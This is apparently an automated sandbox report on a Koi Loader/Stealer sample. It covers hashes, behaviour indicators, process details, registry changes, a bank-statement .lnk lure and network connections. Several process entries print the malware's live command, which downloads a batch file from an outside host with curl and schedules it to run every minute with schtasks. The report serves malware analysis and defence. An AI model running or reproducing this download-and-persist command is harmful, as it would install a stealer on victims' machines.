File name:

2024-04-04-Koi-Loader-Stealer-malware-and-artifacts.zip

Full analysis: https://app.any.run/tasks/1784e67c-542c-44dd-8c9a-0defa6827b00
Verdict: Malicious activity
Analysis date: June 04, 2024, 18:36:03
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v1.0 to extract, compression method=store
MD5:

47D6AED7314F518255D6A63B2FDB1D50

SHA1:

9AB4F6F1DC52575503B99189812BAAB6A7D88108

SHA256:

929105D42CED6CF76C3DBCBD7CBD02433FC7CED683649995DFD6CA5236A738A6

SSDEEP:

12288:A0grHm2mLKIIM3B6X9XW/bFzGt/aG7lfF5jEnCGDc:AprG2mLKE3B6tXW/bFzGtiG7lfF5jyC7

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 4040)
      • cmd.exe (PID: 124)

  • SUSPICIOUS

    • Executing commands from a ".bat" file

      • WinRAR.exe (PID: 4004)

    • Application launched itself

      • WinRAR.exe (PID: 3968)

    • Starts CMD.EXE for commands execution

      • WinRAR.exe (PID: 4004)

    • Reads security settings of Internet Explorer

      • WinRAR.exe (PID: 4004)
      • WinRAR.exe (PID: 3968)

    • The process executes via Task Scheduler

      • cmd.exe (PID: 2316)

  • INFO

    • Reads the computer name

      • curl.exe (PID: 4068)
      • curl.exe (PID: 2044)

    • Checks supported languages

      • curl.exe (PID: 2044)
      • curl.exe (PID: 4068)

    • Manual execution by a user

      • cmd.exe (PID: 124)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 10
ZipBitFlag: -
ZipCompression: None
ZipModifyDate: 2024:04:04 02:11:02
ZipCRC: 0x00000000
ZipCompressedSize: -
ZipUncompressedSize: -
ZipFileName: 01-zip-archives/
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
9
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs winrar.exe no specs cmd.exe no specs curl.exe cmd.exe no specs curl.exe schtasks.exe no specs cmd.exe no specs schtasks.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
124"C:\Windows\System32\cmd.exe" /c curl -o PqQ5zpfC432O.bat "https://saidecommunity.org/assets/js/menkind.php" & schtasks /create /f /tr "'C:\Users\admin\AppData\Local\Temp\PqQ5zpfC432O.bat' Lj6lKGmtYTSJZng" /sc minute /tn Lj6lKGmtYTSJZng /mo 1C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
312schtasks /create /f /tr "'C:\Users\admin\AppData\Local\Temp\PqQ5zpfC432O.bat' Lj6lKGmtYTSJZng" /sc minute /tn Lj6lKGmtYTSJZng /mo 1C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
1680schtasks /create /f /tr "'C:\Users\admin\AppData\Local\Temp\PqQ5zpfC432O.bat' Lj6lKGmtYTSJZng" /sc minute /tn Lj6lKGmtYTSJZng /mo 1C:\Windows\System32\schtasks.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
2044curl -o PqQ5zpfC432O.bat "https://saidecommunity.org/assets/js/menkind.php" C:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
0
Version:
8.5.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
2316C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\admin\AppData\Local\Temp\PqQ5zpfC432O.bat" Lj6lKGmtYTSJZngC:\Windows\System32\cmd.exe—taskeng.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3968"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\2024-04-04-Koi-Loader-Stealer-malware-and-artifacts.zipC:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
4004"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\Rar$DIb3968.48525\3e150b3a958f67da3a821e468c3f3f72b4404dfba207158343589eab24c0074a.zipC:\Program Files\WinRAR\WinRAR.exe—WinRAR.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
4040"C:\Windows\System32\cmd.exe" /c curl -o PqQ5zpfC432O.bat "https://saidecommunity.org/assets/js/menkind.php" & schtasks /create /f /tr "'C:\Users\admin\AppData\Local\Temp\PqQ5zpfC432O.bat' Lj6lKGmtYTSJZng" /sc minute /tn Lj6lKGmtYTSJZng /mo 1C:\Windows\System32\cmd.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
4068curl -o PqQ5zpfC432O.bat "https://saidecommunity.org/assets/js/menkind.php" C:\Windows\System32\curl.exe
cmd.exe
User:
admin
Company:
curl, https://curl.se/
Integrity Level:
MEDIUM
Description:
The curl executable
Exit code:
28
Version:
8.5.0
Modules
Images
c:\windows\system32\curl.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\crypt32.dll
Total events
8 643
Read events
8 586
Write events
57
Delete events
0

Modification events

(PID) Process:(3968) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(3968) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(3968) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3968) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(3968) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(3968) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip
(PID) Process:(3968) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\2024-04-04-Koi-Loader-Stealer-malware-and-artifacts.zip
(PID) Process:(3968) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(3968) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(3968) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
Executable files
0
Suspicious files
3
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
3968WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIb3968.48525\3e150b3a958f67da3a821e468c3f3f72b4404dfba207158343589eab24c0074a.zipcompressed
MD5:DA98729789E68795AF7FDB9A80F1F83D
SHA256:3E150B3A958F67DA3A821E468C3F3F72B4404DFBA207158343589EAB24C0074A
4004WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa4004.209\Chase_Bank_Statement_March.lnklnk
MD5:C26340929244C6157BD6E059DE94B649
SHA256:A6B75518B8E82E0990FD3510E803C76AFDF56FE205C4BED27B74263F33E74AEA
4004WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa4004.49573\Chase_Bank_Statement_March.lnklnk
MD5:C26340929244C6157BD6E059DE94B649
SHA256:A6B75518B8E82E0990FD3510E803C76AFDF56FE205C4BED27B74263F33E74AEA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
5
DNS requests
1
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
unknown
—
—
224.0.0.252:5355
—
—
—
unknown
4068
curl.exe
49.13.77.253:443
saidecommunity.org
Hetzner Online GmbH
DE
unknown
2044
curl.exe
49.13.77.253:443
saidecommunity.org
Hetzner Online GmbH
DE
unknown

DNS requests

Domain
IP
Reputation
saidecommunity.org
  • 49.13.77.253
unknown

Threats

No threats detected
No debug info
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Reports
2024-04-04-Koi-Loader-Stealer-malware-and-artifacts.zip